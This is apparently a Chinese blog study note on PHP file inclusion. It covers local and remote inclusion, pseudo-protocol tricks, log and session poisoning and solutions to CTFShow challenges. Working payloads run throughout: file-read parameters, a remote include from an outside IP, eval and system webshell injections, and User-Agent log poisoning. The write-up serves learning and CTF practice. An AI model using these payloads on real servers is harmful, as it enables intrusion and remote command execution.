PHP 文件包含学习
0x01 前言
- 之前一直想补这个漏洞,结果现在才开始
0x02 漏洞相关
漏洞成因/原理
后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就 被称为文件包含。
文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在 php 中十分常见,其他语言也同样存在
漏洞危害
- 造成任意文件读取的信息泄露
- 命令执行
漏洞分类
1、本地文件包含漏洞
简单理解就是网页本身存在着恶意文件,我们对其进行调用,从而获取信息等,倾向于信息泄露
2、远程文件包含漏洞(需要 php.ini
开启了 allow_url_fopen
和allow_url_include
)
这种情况下,网页本身不存在恶意文件,我们构造恶意文件进行包含,包含的文件是第三方服务器的文件。
漏洞相关函数
主流文件包含 php 一些函数的含义:
include()
:执行到 include()
才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本
require()
: 只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行
include_once()
:执行到 include()
才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本;_once()
后缀表明只会包含一次,已包含则不会再包含
require_once()
:只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行 _once()
后缀表明只会包含一次,已包含则不会再包含
漏洞利用
最常用的是伪协议
1 | file:// 协议: |
0x03 文件包含基础实战
无限制文件包含
1 |
|
payload
1 | ?file=../flag |
- 这里从漏洞利用的角度来说也是一种任意文件读取漏洞,但是在实际环境当中,可能服务端会定死后缀为
.php
,如下代码所示
有后缀的文件包含
1 |
|
如果想要继续进行任意文件读取,需要想办法截断后面的 .php
因此我们此时可以通过以下几种方法来对其进行截断( 需要 magic_quotes_gpc=off
,PHP小于5.3.4)
1 | %00截断 |
远程文件包含
- 大致意思是,可以请求恶意的文件,通过远程文件包含
利用前提:allow_url_fopen=On
,allow_url_include=On
在服务器上建立恶意文件 evil.txt
,内容如下
1 |
|
远程读取
1 | http://127.0.0.1/file_include/remoteInclude.php?file=http://81.68.120.14:777/evil.txt |
0x04 文件包含结合伪协议
php://filter 协议
利用条件:
只是读取,所以只需要开启 allow_url_fopen
,对 allow_url_include
不做要求
用 php://filter
伪协议本质上的作用还是文件读取,但是它可以读取全部内容,相比于之前来说,如果直接读的话,很有可能只读到一行
还是一样的代码,payload:
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
php://input 协议
可以访问请求的原始数据的只读流, 将 post 请求中的数据作为 PHP 代码执行
利用条件:
需要开启 allow_url_include=on
,对 allow_url_fopen
不做要求
payload
`
1 | ?file=php://input |
这里我用 hackbar 没打通,似乎是只能用 bp 才能打通
zip:// 伪协议
zip://
可以访问压缩文件中的文件
条件: 使用 zip 协议,需要将 #
编码为 %23
,所以需要 PHP Version >=5.3.0,要是因为版本的问题无法将 #
编码成 %23
,可以手动把 #
改成`%23。``
payload
1 | ?file=zip://[压缩文件路径]#[压缩文件内的子文件名] |
在本地新建一个文件 zip.php
,并且压缩成 zip.zip
压缩包
zip.php
1 |
|
payload
1 | ?file=zip://zip.zip%23zip.php |
这一种攻击的前提是存在文件上传的功能,我可以上传一个包含恶意 PHP 文件的 zip 包,通过 zip 包绕过文件上传的检测,再用文件包含去打;利用角度上来说还是有一些苛刻。
phar:// 伪协议
与 zip://
协议类似,但用法不同,zip://
伪协议中是用 #
把压缩文件路径和压缩文件的子文件名隔开,而 phar://
伪协议中是用 /
把压缩文件路径和压缩文件的子文件名隔开,即
1 | ?file=phar://[压缩文件路径]/[压缩文件内的子文件名] |
用 phar 打的 payload,当然 /
可以用 %2f
编码
1 | ?file=phar://zip.phar/zip.php |
利用条件也是相对苛刻
data://text/plain
伪协议
和 php 伪协议的 php://input
类似,也可以执行任意代码,但利用条件和用法不同
条件:allow_url_fopen=On
,allow_url_include=On
用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=data:text/plain;base64
,编码后的 php 代码,也就是上文的 <?php 执行内容 ?>
如果是用 base64 的方法打的,需要将 base64 的部分进行 URL 编码,才能打
file 伪协议
打法 ?file=file=../../
,很基础的攻击方式,和 SSRF 差不多,这里不再多说
通过伪协议绕过 die()
函数
这个题目会在 ctfshow web87 里面详细说明
0x05 一些 getshell 等骚姿势
日志包含
同理的 fd 文件包含,environ 文件包含都和日志包含差不多。php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
利用条件:
需要知道服务器日志的存储路径,且日志文件可读。
- 为啥这个能利用呢?首先我们每一次访问 host/服务端,都会被日志所记载,那么如果我们在 UA(用的最多),或者其他字段当中插入恶意 php 代码;那么在日志被 php
include()
调用的时候,就会自动执行里面的代码。
后续会在 ctfshow 当中展示例题
session 包含
session 概念基础
- 原理上还是因为 可控 + 可读
可读:php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path
看到。
前提是开启了 session.serialize_handler = php
或 session.serialize_handler = php_serialize
session.php
1 |
|
POST 发包,username=Drunkbaby
服务端会对用户名的内容进行序列化存储,但是这个存储只会存储 username 里面的值进行了序列化存储,即 s:9:"Drunkbaby"
没有对变量名做任何处理,对变量名做处理的方式如下
1 |
|
并设置 session.serialize_handler=php_binary
同样发包 POST,username=Drunkbaby
session 包含实例
写一段 demo 代码
sessionVul.php
1 |
|
明显可控的恶意地方是 username
,我们尝试发包,在 username 字段中插入恶意代码
1 | <?php%20eval($_REQUEST['drunkbaby']);?> |
并且要修改 Cookie: PHPSESSID
的值,因为数据保存的文件名是 sess_PHPSESSID
,这里我把它修改成了 evil;发包。
接着进行文件包含,去包含存储 session 的文件
这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。
- 如对用户 session 信息进行编码或加密
- 如代码没有
session_start()
进行初始化操作,服务器也就无法生成 session 文件
session base64 编码如何攻击
这也就是上文提到的,在实际场景中,肯定会对 session 进行编码操作
base64Session.php
1 |
|
按照原理来说,我们写入的恶意 session 会进行 base64 编码,保存到 sess_PHPSESSID
这一文件中;至于取出来,可以用 php://filter
伪协议,大致的 payload 可以是
1 | ?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_evil |
但是实际上并没有进行命令执行,经过报错信息的查看会发现是 base64 解码时出现了错误。
这里就涉及到了 base64 解码的原理。(其实很多 Java 题里面也是这样的)
在 base64 编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于 base64 编码表里的字符,会跳过这些字符,将合法的字符拼接后解码
- 解决这一步的方法,从结论上来说只需要
username
这个恶意字段经过 base64 编码之后的长度能够整除4即可,至于推理过程可以看这一篇文章。
https://www.anquanke.com/post/id/201177#h2-8
发包
1 | username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm%3C%3Fphp+eval%28%24_REQUEST%5B%27drunkbaby%27%5D%29%3B%3F%3E |
在经过 base64 编码后的文件内容为:
1 | username|s:116:"cWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtPD9waHAgZXZhbCgkX1JFUVVFU1RbJ2RydW5rYmFieSddKTs/Pg=="; |
一整个长度为 116,符合被 4 整除
接着用 php://filter
伪协议去文件包含
值得注意的是,这里 session.serialize_handler = php
,如果设置成 session.serialize_handler = php_serialize
也可以通过类似的方法攻击。
No session_start(),也就是 session.upload_progress
的攻击方式
要结合条件竞争打,这里可以简单提及一下原理以及攻击思路
原理
当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
。
攻击者可借助 Session Upload Progress
,因为 session.upload_progress.name
是用户自定义的,POST 提交 PHP_SESSION_UPLOAD_PROGRESS
字段,只要上传包里带上这个键,PHP 就会自动启用 Session。同时在 Cookie 中设置 PHPSESSID 的值。这样,请求的文件内容和命名都可控。
当文件上传结束后,php 会立即清空对应 session 文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在 session 文件被清除之前利用。
0x06 CTFShow 例题
web78
payload
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
web79
增添了代码
1 | $file = str_replace("php", "???", $file); |
大小写绕过 php
,构造 payload 如下
1 | ?file=phP://input |
同理 data://
也可以
web80
过滤了 “php” 和 “data”
1 | $file = str_replace("php", "???", $file); |
和上一题的 payload 一样
web81
新过滤了 :
如此一来无法使用伪协议打,可以用日志包含
1 | $file = str_replace("php", "???", $file); |
UA 作为恶意内容插入,读日志命令执行
1 | User-Agent: system($_GET[1]); |
web82-86
竞争环境需要晚上11点30分至次日7时30分之间做,其他时间不开放竞争条件
web87
代码如下
1 | if(isset($_GET['file'])){ |
这里 bypass 的方法是二次 url 编码,第一次 url 编码,是 web 服务端自己自动完成的;这样就可以很轻松的绕过 str_replace()
的检测,而经过 web 服务端 url 解码之后的内容,经过 urldecode()
,转换为恶意 payload
content 里面放命令执行的语句,file 里面通过伪协议
1 | ?file=php://filter/convert.base64-decode/resource=hack.php |
第一次这么打是有问题的,问题就是前面说的 base64 编码的问题,因为前面还会解析 phpdie
这六个字符,所以需要我们再填充两位进去
- 填充两个字符后
直接连🐎
拿到 flag
web88
简单的一道远程包含,过滤的关键字内容如下
1 | if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ |
根据关键字过滤来看,data://
伪协议也可以打,但是要注意编码后的 payload 不能含有 =
和 +
payload
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg&1=ls |
web116
misc + lfi
mp4 用 foremost 分解出一个 png,里面是一张源代码
- 直接用
php://filter
读取
web117
过滤了相当多,不过 filter
关键字没被过滤
1 | function filter($x){ |
这里用到了一个新的 bypass 方法 ———— iconv()
函数
iconv()
函数的用法如下
1 | iconv(string $in_charset, string $out_charset, string $str): string |
将字符串 str
从 in_charset
转换编码到 out_charset
;这里直接用先知那篇文章里的从 UCS-2LE
到 UCS-2BE
的转换
本地生成一个 payload, 注意原始长度必须是偶数
1 |
|
编码后的 payload
1 | ?<hp pystsme$(G_TE1[]1;)>? |
写入文件的 payload
1 | ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |
接着命令执行
0x07 小结
总体利用来说并不算难,挺有意思的一个漏洞
0x08 Ref
https://www.jianshu.com/p/e6f59f3f01b8
https://exp10it.cn/2022/08/ctfshow-web%E5%85%A5%E9%97%A8%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-writeup/
- 本文标题:文件包含学习
- 创建时间:2023-03-05 11:22:27
- 本文链接:2023/03/05/文件包含学习/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!